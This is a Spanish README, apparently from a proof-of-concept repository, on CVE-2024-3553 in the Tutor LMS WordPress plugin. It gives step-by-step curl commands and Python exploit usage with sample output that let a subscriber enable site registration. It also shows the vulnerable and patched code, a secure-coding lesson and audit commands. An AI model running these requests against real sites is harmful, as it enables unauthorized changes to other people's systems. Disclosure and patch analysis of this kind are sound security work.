
CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration
El plugin Tutor LMS – eLearning and online course solution para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidades en la función hide_notices() en todas las versiones hasta la 2.6.2 inclusive. Esto permite que atacantes autenticados (incluyendo usuarios de bajo privilegio como suscriptores) habiliten el registro de usuarios en sitios que los administradores pueden haberlo deshabilitado.
Un exploit completo en Python está disponible: exploit-cve-2024-3553-v2.py
# Explotación automatizada completa
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# Solo verificar el estado del registro
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
Requisitos previos:
Paso 1: Iniciar sesión como usuario de bajo privilegio
# Iniciar sesión como suscriptor o cualquier usuario autenticado
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
https://target.com/wp-login.php
Paso 2: Extraer el nonce del área de administración
# Cualquier usuario autenticado puede acceder a /wp-admin/ (incluso suscriptores)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1
Paso 3: Ejecutar el exploit
# Enviar solicitud para habilitar el registro de usuarios
curl -b cookies.txt \
"https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"
Paso 4: Verificar el éxito
# Comprobar si el registro está ahora habilitado
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registro HABILITADO" || echo "Registro DESHABILITADO"
# Como cualquier usuario autenticado, simplemente visite:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>
======================================================================
CVE-2024-3553 Exploit - Tutor LMS Autorización faltante
Objetivo: https://target.com
======================================================================
[*] Comprobando el estado actual del registro...
[+] El registro está actualmente DESHABILITADO
[*] Intentando iniciar sesión como: subscriber
[+] Sesión iniciada correctamente como: subscriber
[*] Paso 2: Extrayendo nonce del área de administración...
[+] Nonce encontrado: abc123def456
[*] Paso 3: Ejecutando exploit para habilitar el registro de usuarios...
[*] Objetivo: https://target.com
[*] Usando nonce: abc123def456
[*] URL del exploit: https://target.com/wp-admin/index.php
[*] Parámetros: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Estado de respuesta: 200
[+] Solicitud de exploit enviada correctamente!
[*] Paso 4: Verificando el éxito de la explotación...
[+] El registro está actualmente HABILITADO
======================================================================
[!] EXPLOTACIÓN EXITOSA!
[!] El registro de usuarios ahora está HABILITADO
[!]
[!] Impacto: Un atacante con una cuenta de bajo privilegio (suscriptor)
[!] pudo habilitar el registro de usuarios en un sitio donde estaba
[!] deshabilitado. Esto podría permitir la creación de cuentas adicionales,
[!] potencialmente llevando a spam o acceso no autorizado.
======================================================================
Archivo: /classes/User.php (Líneas ~800-815)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// FALLO CRÍTICO: is_admin() solo verifica si está en el área de administración, ¡NO el rol de usuario!
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
// SIN VERIFICACIÓN DE CAPACIDAD - ¡Cualquier usuario autenticado puede ejecutar esto!
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
Puntos clave de vulnerabilidad:
is_admin() solo verifica que la solicitud sea a una página de administración, NO que el usuario sea administrador/wp-admin/ (incluso suscriptores)current_user_can('manage_options')users_can_registerArchivo: /classes/User.php (Versión parcheada)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// CORRECCIÓN DE SEGURIDAD: Se agregó verificación de capacidad
$has_manage_cap = current_user_can( 'manage_options' );
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // Ahora correctamente protegido
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
El parche agrega current_user_can('manage_options') para verificar que el usuario tenga privilegios de administrador antes de permitir la actualización de la opción.
Esta vulnerabilidad demuestra un malentendido crítico de las funciones de autorización de WordPress:
INCORRECTO ❌:
if ( is_admin() ) {
// Pensando que esto significa "el usuario es administrador"
update_option( 'sensitive_option', $value );
}
CORRECTO ✅:
if ( current_user_can( 'manage_options' ) ) {
// Realmente verifica si el usuario tiene capacidades de administrador
update_option( 'sensitive_option', $value );
}
La seguridad adecuada en WordPress requiere múltiples capas:
La falta de CUALQUIERA de estas capas puede llevar a vulnerabilidades.
Para administradores de sitios:
Actualice a Tutor LMS versión 2.7.0 o superior inmediatamente:
# Mediante WP-CLI
wp plugin update tutor --version=2.7.0
# Mediante el administrador de WordPress
Panel → Plugins → Buscar "Tutor LMS" → Hacer clic en "Actualizar ahora"
Auditar cambios recientes:
# Verificar si la configuración de registro fue modificada recientemente
wp option get users_can_register
# Revisar registros de usuarios recientes
wp user list --orderby=registered --order=DESC --number=20
is_admin() para la autorizacióncurrent_user_can() para verificaciones de capacidadAl auditar plugins de WordPress para problemas de autorización:
# 1. Buscar is_admin() sin verificaciones de capacidad
grep -r "is_admin()" . | grep -v "current_user_can"
# 2. Buscar actualizaciones directas de opciones
grep -r "update_option\|add_option" .
# 3. Encontrar manejadores AJAX sin verificaciones de capacidad
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"
README.md - Este archivoexploit-cve-2024-3553.py - Exploit básico en Pythonexploit-cve-2024-3553-v2.py - Exploit mejorado en Python con documentación detalladamanual-exploit-cve-2024-3553.sh - Script de explotación manualtest-cve-2024-3553-direct.sh - Script de verificación directaDescubierto: 2024-04-15 Divulgado: 2024-05-20 Parcheado: 2024-05-21 (v2.7.0) Fecha de prueba: 2025-12-26 Clasificación: Validación de vulnerabilidad exitosa
| Función | Qué verifica realmente | Uso de seguridad |
|---|
is_admin() | Si la URL actual está en /wp-admin/ | ❌ NO para autorización |
current_user_can() | Si el usuario tiene una capacidad específica | ✅ Autorización correcta |
wp_verify_nonce() | Si la solicitud es intencionada (protección CSRF) | ✅ Pero no suficiente por sí sola |